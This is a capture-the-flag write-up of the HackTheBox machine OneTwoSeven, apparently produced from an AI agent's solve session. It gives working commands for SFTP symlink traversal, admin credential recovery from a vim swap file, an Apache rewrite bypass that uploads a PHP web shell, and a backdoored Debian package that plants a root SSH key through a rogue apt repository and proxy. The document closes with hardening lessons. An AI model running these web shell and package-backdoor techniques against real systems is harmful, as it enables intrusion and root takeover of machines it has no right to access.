HTB: OneTwoSeven Writeup

OneTwoSeven - HackTheBox Writeup

Machine Information

AttributeDetails
NameOneTwoSeven
OSLinux
DifficultyHard
Points40
Release Date15 Feb 2019
IP Address10.129.44.45
Authorjkr

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

OneTwoSeven is a hard difficulty Linux machine that demonstrates advanced exploitation of web application misconfigurations and package manager abuse. Initial access is gained through SFTP credential leakage via a public signup form, followed by symlink abuse to read sensitive files outside the restricted SFTP chroot. A vim swap file reveals hardcoded admin credentials, granting access to an internal administration panel on port 60080 via SSH local port forwarding. Apache mod_rewrite rule bypass allows arbitrary PHP file upload despite frontend restrictions, leading to web shell execution as www-admin-data. Privilege escalation exploits misconfigured sudo permissions allowing apt-get update/upgrade with preserved http_proxy environment variables. By hosting a malicious Debian repository and proxying apt traffic through a controlled server, a backdoored wget package with a malicious postinst script executes arbitrary commands as root.

TL;DR: SFTP signup → symlink filesystem traversal → vim swap file leaks admin SHA256 hash → SSH port forward to internal admin panel → Apache rewrite bypass for PHP upload → web shell as www-admin-data → sudo apt-get with http_proxy env_keep → malicious Debian repo hosting → backdoored deb package postinst → root shell.


Reconnaissance

Initial Enumeration

The machine presents HTTP on port 80 and SSH on port 22. The homepage at http://onetwoseven.htb/ advertises static file hosting with SFTP access. A commented-out HTML link in the source code reveals an administration backend on port 60080, accessible only from localhost:

<!-- <a href="http://127.0.0.1:60080/menu.php">Admin Panel</a> -->

SFTP Signup Mechanism

The signup page (http://onetwoseven.htb/signup.php) dynamically generates SFTP credentials via a POST request:

Terminal window
# Fetch fresh credentials
curl -s -X POST http://onetwoseven.htb/signup.php | grep -oE 'Username: <b>[^<]+|Password: <b>[^<]+'

Output:

Username: <b>ots-0MzQwNjE
Password: <b>5c434061

The username follows the pattern ots-<base64(md5(ip)[0:8])> and password is md5(ip)[0:8] in hex. Each signup generates a restricted SFTP account with a public web directory at http://onetwoseven.htb/~<username>/.

Vulnerability Assessment

  1. SFTP Symlink Abuse: SFTP allows symlink command, enabling traversal outside the intended chroot
  2. Vim Swap File Exposure: Sensitive configuration files (.login.php.swp) readable via symlink
  3. Hardcoded Credentials: Admin password stored as SHA256 hash in PHP source
  4. Apache Rewrite Bypass: URI parsing discrepancy allows upload despite RewriteRule restrictions
  5. Sudo Misconfiguration: apt-get callable with NOPASSWD and env_keep for proxy variables
  6. Unsigned Package Repository: Debian repo accepts [trusted=yes] without GPG verification

Initial Foothold

After authenticating with the generated credentials, the SFTP session allows symlink creation:

Terminal window
# From jump host, pipe commands to SFTP
printf 'symlink / public_html/root\nls -la public_html/\nbye\n' > /dev/shm/sf.txt
cat /dev/shm/sf.txt | sshpass -p '5c434061' sftp -oStrictHostKeyChecking=no \
-oBatchMode=no -oPubkeyAuthentication=no ots-0MzQwNjE@onetwoseven.htb

Output:

sftp> symlink / public_html/root
sftp> ls -la public_html/
drwxr-xr-x ? 1001 1001 4096 Jul 21 12:13 public_html/.
drwxr-xr-x ? 0 0 4096 Jul 21 12:13 public_html/..
-rw-r--r-- ? 1001 1001 349 Feb 15 2019 public_html/index.html
lrwxrwxrwx ? 1001 1001 1 Jul 21 12:13 public_html/root

The symlink root → / is now accessible via HTTP at http://onetwoseven.htb/~ots-0MzQwNjE/root/, exposing the entire filesystem for directory traversal.

Admin Credential Recovery

Navigating to /var/www/html-admin/ via the symlink reveals a vim swap file .login.php.swp:

Terminal window
# Download and extract credentials from swap file
curl -s -o /dev/shm/login.swp \
http://onetwoseven.htb/~ots-0MzQwNjE/root/var/www/html-admin/.login.php.swp
strings /dev/shm/login.swp | grep -iE 'sha256|ots-admin|[a-f0-9]{64}' | head

Key Fragment:

if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) ==
'11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {

The SHA256 hash 11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8 corresponds to Homesweethome1 (verified via online hash databases or local cracking).

Why This Works: Vim swap files (.swp) are backup copies created during editing. They contain plaintext source code, including hardcoded credentials. The SFTP symlink bypasses Apache’s intended directory restrictions, allowing direct file download without PHP execution.

SSH Port Forwarding to Admin Panel

The admin panel on port 60080 is firewalled from external access. SSH local port forwarding tunnels traffic through the SFTP account:

Terminal window
# Establish tunnel from jump box to target's localhost:60080
sshpass -p '5c434061' ssh -f -N -oStrictHostKeyChecking=no \
-oPubkeyAuthentication=no -L 60080:127.0.0.1:60080 ots-0MzQwNjE@onetwoseven.htb
# Verify tunnel and test admin login
curl -s -c /dev/shm/cj http://localhost:60080/ >/dev/null
curl -s -c /dev/shm/cj -b /dev/shm/cj \
-d 'username=ots-admin&password=Homesweethome1&login=Login' \
http://localhost:60080/login.php

Successful login redirects to /menu.php, which lists plugin addons with download and upload functionality.

Default User Discovery

The “OTS Default User” addon at menu.php?addon=addons/ots-default-user.php displays hardcoded SFTP credentials for a low-privilege user:

Terminal window
curl -s -b /dev/shm/cj 'http://localhost:60080/menu.php?addon=addons/ots-default-user.php' \
| grep -oE 'Username: <b>[^<]+|Password: <b>[^<]+'

Output:

<b>Username:</b> ots-yODc2NGQ<br>
<b>Password:</b> f528764d

This user has access to user.txt:

Terminal window
printf 'ls -la\nget user.txt /dev/shm/user.txt\nbye\n' | \
sshpass -p 'f528764d' sftp -oStrictHostKeyChecking=no \
ots-yODc2NGQ@onetwoseven.htb

User Flag: <redacted>

Apache Rewrite Rule Bypass

The addon manager (ots-man-addon.php) contains upload logic gated by URI matching:

case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
if(isset($_FILES['addon'])){
$file_name = basename($_FILES['addon']['name']);
$file_size = $_FILES['addon']['size'];
$file_tmp = $_FILES['addon']['tmp_name'];
if($file_size > 20000){
$errors[]='Module too big for addon manager.';
}
if(empty($errors)==true) {
move_uploaded_file($file_tmp,$file_name); // Uploads to current directory
echo "File uploaded successfully";
}
}
break;

Apache’s .htaccess rewrites both /addon-upload.php and /addon-download.php to addons/ots-man-addon.php:

RewriteRule ^addon-upload.php addons/ots-man-addon.php [L]
RewriteRule ^addon-download.php addons/ots-man-addon.php [L]

The [L] (Last) flag stops rewrite processing after a match. However, if the request URI contains both patterns, Apache rewrites only the first match, leaving the second in $_SERVER['REQUEST_URI'] for PHP inspection.

Exploitation:

Terminal window
# Create minimal PHP shell
printf '<?php system($_GET["pwn"]); ?>' > /dev/shm/shell.php
# Upload via bypass: Apache rewrites addon-download.php, PHP sees addon-upload.php
curl -s -b /dev/shm/cj -F 'addon=@/dev/shm/shell.php;filename=shell.php' \
'http://localhost:60080/addon-download.php&/addon-upload.php'

Output: File uploaded successfully

The shell lands in /var/www/html-admin/addons/shell.php and is immediately executable:

Terminal window
curl -s -b /dev/shm/cj 'http://localhost:60080/addons/shell.php?pwn=id'
# uid=35(www-admin-data) gid=35(www-admin-data) groups=35(www-admin-data)

Why This Works: Apache processes rewrites sequentially. The URI /addon-download.php&/addon-upload.php matches the first rule (addon-download.php), triggering the rewrite to ots-man-addon.php. The & delimiter is ignored by Apache’s RewriteRule but preserved in $_SERVER['REQUEST_URI']. When ots-man-addon.php executes, it reads the full URI and matches /addon-upload.php, entering the upload code path. This is a classic parsing differential between the rewrite engine and application logic.


Privilege Escalation

Sudo Permissions Enumeration

Terminal window
curl -s -G -b /dev/shm/cj 'http://localhost:60080/addons/shell.php' \
--data-urlencode 'pwn=sudo -l'

Output:

Matching Defaults entries for www-admin-data on onetwoseven:
env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy",
mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-admin-data may run the following commands on onetwoseven:
(ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade

The env_keep directive preserves HTTP proxy environment variables when running sudo apt-get. The /etc/apt/sources.list.d/onetwoseven.list file points to a custom repository:

Terminal window
cat /etc/apt/sources.list.d/onetwoseven.list
# deb [trusted=yes] http://packages.onetwoseven.htb/devuan ascii main

The [trusted=yes] option disables GPG signature verification, allowing installation of unsigned packages.

Attack Vector: Control the apt repository by intercepting HTTP traffic via a malicious proxy server, then serve a backdoored Debian package.

Malicious Debian Repository Setup

1. Build Backdoored Package

On the jump host, create a fake wget package with a malicious postinst script that installs an SSH key:

Terminal window
# Debian package structure
BASE=/dev/shm/otsrepo
mkdir -p $BASE/build/wget/DEBIAN $BASE/build/wget/usr/bin
# Package metadata
cat > $BASE/build/wget/DEBIAN/control <<EOF
Package: wget
Architecture: amd64
Maintainer: HTB
Priority: optional
Version: 5.0
Description: Pwn all the things
EOF
# Dummy binary
cat > $BASE/build/wget/usr/bin/wget <<'EOF'
#!/bin/bash
echo "Bad package"
EOF
chmod 755 $BASE/build/wget/usr/bin/wget
# Malicious postinst hook (runs as root during package installation)
cat > $BASE/build/wget/DEBIAN/postinst <<EOF
#!/bin/bash
mkdir -p /root/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDtwAKOP8Cya9DU2PQLM1tpicLyKsX+ScQPa9u267YUd' \
>> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
cat /root/root.txt > /tmp/rootflag 2>/dev/null
cat /root/root.txt > /dev/shm/rootflag 2>/dev/null
chmod 644 /tmp/rootflag /dev/shm/rootflag 2>/dev/null
EOF
chmod 755 $BASE/build/wget/DEBIAN/postinst
# Build .deb package
cd $BASE/build
export TMPDIR=/dev/shm # Avoid /tmp full disk issues
dpkg-deb --build wget/

Why This Works: Debian packages execute DEBIAN/postinst scripts with root privileges during dpkg configuration phase. This script plants an SSH key for direct root access and exfiltrates the flag.

2. Create Repository Metadata

Debian repositories require Packages files listing available packages and Release files with repository metadata:

Terminal window
POOL=$BASE/repo/devuan
mkdir -p $POOL/dists/ascii/main/binary-amd64
mkdir -p $POOL/pool/main
# Place package in pool
cp $BASE/build/wget.deb $POOL/pool/main/
# Generate Packages index
cd $POOL
dpkg-scanpackages pool/main /dev/null > dists/ascii/main/binary-amd64/Packages 2>/dev/null
gzip -kf dists/ascii/main/binary-amd64/Packages
# Generate Release file
cat > $POOL/aptrelease.conf <<EOF
APT::FTPArchive::Release::Origin "Devuan";
APT::FTPArchive::Release::Suite "ascii";
APT::FTPArchive::Release::Codename "ascii";
APT::FTPArchive::Release::Architectures "amd64 all";
APT::FTPArchive::Release::Components "main";
EOF
cd $POOL/dists/ascii
apt-ftparchive -c=$POOL/aptrelease.conf release . > Release

Packages File Excerpt:

Package: wget
Version: 5.0
Architecture: amd64
Maintainer: HTB
Filename: pool/main/wget.deb
Size: 984
MD5sum: <hash>
SHA256: 688bafe6620e95f1e06964abcc5141aeac81eadac6051c740c5179dde824cff7
Description: Pwn all the things

The Version: 5.0 is higher than the installed wget 1.18, triggering an upgrade.

3. HTTP + Proxy Server Configuration

Configure the jump host to resolve packages.onetwoseven.htb locally and serve the repository:

Terminal window
# Add hosts entry
echo '127.0.0.1 packages.onetwoseven.htb' | sudo tee -a /etc/hosts
# Serve repository on port 80
cd /dev/shm/otsrepo/repo
sudo nohup python3 -m http.server 80 >/dev/null 2>&1 &

Run a Twisted HTTP proxy to intercept apt traffic (Python proxy forwards requests to local hostname):

/dev/shm/pxrun/proxy.py
import sys
from twisted.web import proxy, http
from twisted.internet import reactor
from twisted.python import log
log.startLogging(sys.stdout)
class ProxyFactory(http.HTTPFactory):
protocol = proxy.Proxy
reactor.listenTCP(8000, ProxyFactory())
reactor.run()
Terminal window
cd /dev/shm/pxrun
python3 proxy.py >/dev/shm/proxy.log 2>&1 &

Why Proxy Is Needed: The target’s packages.onetwoseven.htb DNS points to a nonexistent service. By setting http_proxy to the attacker’s IP, apt routes requests through our proxy, which forwards them to the attacker’s local web server hosting the malicious repo.

Triggering Package Installation

Terminal window
# Set proxy environment variable and run apt update
curl -s -G -b /dev/shm/cj --max-time 90 'http://localhost:60080/addons/shell.php' \
--data-urlencode 'pwn=export http_proxy=http://10.10.15.180:8000; sudo /usr/bin/apt-get update 2>&1'

Output:

Get:2 http://packages.onetwoseven.htb/devuan ascii Release [2340 B]
Get:4 http://packages.onetwoseven.htb/devuan ascii/main amd64 Packages [270 B]
Fetched 2880 B in 0s (11.8 kB/s)
Reading package lists...

Now upgrade the package (which installs the backdoored wget 5.0):

Terminal window
curl -s -G -b /dev/shm/cj --max-time 120 'http://localhost:60080/addons/shell.php' \
--data-urlencode 'pwn=export http_proxy=http://10.10.15.180:8000; yes | sudo /usr/bin/apt-get upgrade 2>&1'

Output Excerpt:

The following packages will be upgraded:
wget
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Get:1 http://packages.onetwoseven.htb/devuan ascii/main amd64 wget amd64 5.0 [984 B]
Fetched 984 B in 0s (16.3 kB/s)
Unpacking wget (5.0) over (1.18-5+deb9u2) ...
Setting up wget (5.0) ...

The postinst script executes, planting the SSH key and exfiltrating /root/root.txt.

Root Access

Terminal window
# SSH as root using the planted key
ssh -i /dev/shm/otskey -o StrictHostKeyChecking=no root@onetwoseven.htb 'cat /root/root.txt'

Root Flag: <redacted>

Why This Works: The sudo configuration allows apt-get upgrade with exact arguments and preserves proxy environment variables via env_keep. The [trusted=yes] apt source accepts our unsigned package. When dpkg installs the package, it runs the postinst script as root, granting arbitrary command execution. This attack exploits CVE-2019-3462 principles (apt HTTP downgrade attacks) combined with sudo misconfiguration.


Attack Chain Summary

HTTP enumeration (port 80/22/60080)
→ SFTP signup generates credentials (ots-0MzQwNjE/5c434061)
→ SFTP symlink / → public_html/root (filesystem traversal)
→ Download /var/www/html-admin/.login.php.swp
→ Extract SHA256 hash from vim swap → crack to Homesweethome1
→ SSH local port forward (-L 60080:127.0.0.1:60080)
→ Login admin panel ots-admin/Homesweethome1
→ Discover OTS Default User addon → ots-yODc2NGQ/f528764d
→ SFTP as default user → user.txt
→ Apache rewrite bypass (/addon-download.php&/addon-upload.php)
→ Upload shell.php → RCE as www-admin-data (uid=35)
→ Enumerate sudo (NOPASSWD apt-get with env_keep http_proxy)
→ Build malicious wget 5.0 deb with postinst SSH key injection
→ Create Debian repository (Packages.gz, Release files)
→ Serve repo on jump host (:80) + Twisted proxy (:8000)
→ Redirect packages.onetwoseven.htb via proxy
→ sudo apt-get update; yes | sudo apt-get upgrade
→ Package installs, postinst runs as root, plants SSH key
→ SSH as root → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests, POST data, cookie management
sftp / sshpassSFTP automation with password authentication
sshLocal port forwarding, SSH key authentication
stringsExtract plaintext from vim swap binary
dpkg-debBuild Debian packages
dpkg-scanpackagesGenerate Packages index files
apt-ftparchiveGenerate Release metadata
python3 -m http.serverServe malicious repository over HTTP
twisted (Python)HTTP proxy server for apt traffic interception
vimRecover source code from swap files

Key Learnings

Techniques Practiced

  • SFTP symlink abuse for filesystem traversal outside restricted chroot
  • Vim swap file analysis to recover sensitive source code
  • SHA256 hash cracking via rainbow tables/hashcat
  • SSH local port forwarding to access internal services
  • Apache mod_rewrite bypass via URI parsing differentials
  • PHP web shell upload through application logic flaws
  • Debian package backdooring with malicious postinst hooks
  • APT repository metadata crafting (Packages, Release files)
  • HTTP proxy interception of package manager traffic
  • Sudo environment variable preservation exploitation (env_keep)

Lessons Learned

  1. SFTP Hardening: Never allow symlink command in restricted SFTP environments. Use internal-sftp with ChrootDirectory and ForceCommand to enforce true chroot isolation. Disable dangerous commands via Subsystem configuration.

  2. Sensitive File Exposure: Vim swap files, editor backups, and version control metadata (.git, .svn) must be excluded via web server configuration. Use .htaccess deny rules or remove such files from production:

    <FilesMatch "^\.">
    Require all denied
    </FilesMatch>
  3. Credential Storage: Never hardcode passwords or hashes in application source. Use environment variables, secrets management systems (Vault, AWS Secrets Manager), or encrypted configuration files with proper key rotation.

  4. Apache Rewrite Rules: The [L] flag only stops further rewriting, not subsequent PHP logic. Application code must validate both $_SERVER['REQUEST_URI'] and $_SERVER['SCRIPT_NAME'] independently. Use [END] (Apache 2.4+) to prevent any further processing.

  5. File Upload Validation: Always validate file extensions, MIME types, and contents on the server side. Store uploads outside the webroot and use X-Sendfile headers for serving. Reject files matching executable patterns (.php, .phtml, .phar).

  6. Sudo Restrictions: Limit NOPASSWD commands to exact binary paths and arguments. Never use env_keep with network-related variables (http_proxy, ftp_proxy) unless explicitly required. Example secure sudoers entry:

    www-data ALL=(root) NOPASSWD: /usr/bin/apt-get update
    Defaults!apt-get env_reset
  7. Package Manager Security:

    • Always require GPG signature verification (remove [trusted=yes])
    • Pin package versions via /etc/apt/preferences.d/
    • Use HTTPS for package repositories to prevent MITM attacks
    • Implement network segmentation to restrict proxy server usage
    • Audit postinst, preinst, and other maintainer scripts before installation
  8. Defense in Depth: This machine required chaining five distinct vulnerabilities (symlink, swap file, rewrite bypass, sudo misconfiguration, unsigned packages). Each layer should be independently hardened:

    • Application: Input validation, secure upload handling
    • Web server: Rewrite rule auditing, file access controls
    • System: Principle of least privilege, sudo restrictions
    • Network: Firewall rules, internal service isolation
    • Package management: Signature enforcement, version pinning

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

MinatoTW. (2019). OneTwoSeven - HackTheBox Official Writeup. Document No. D19.100.35. Retrieved from HackTheBox official writeup archives.

Public writeup used for explanatory depth on Apache mod_rewrite mechanics, Debian package structure, and apt repository metadata formats. All commands, outputs, credentials, and IP addresses in this writeup are exclusively from the documented agent solve session.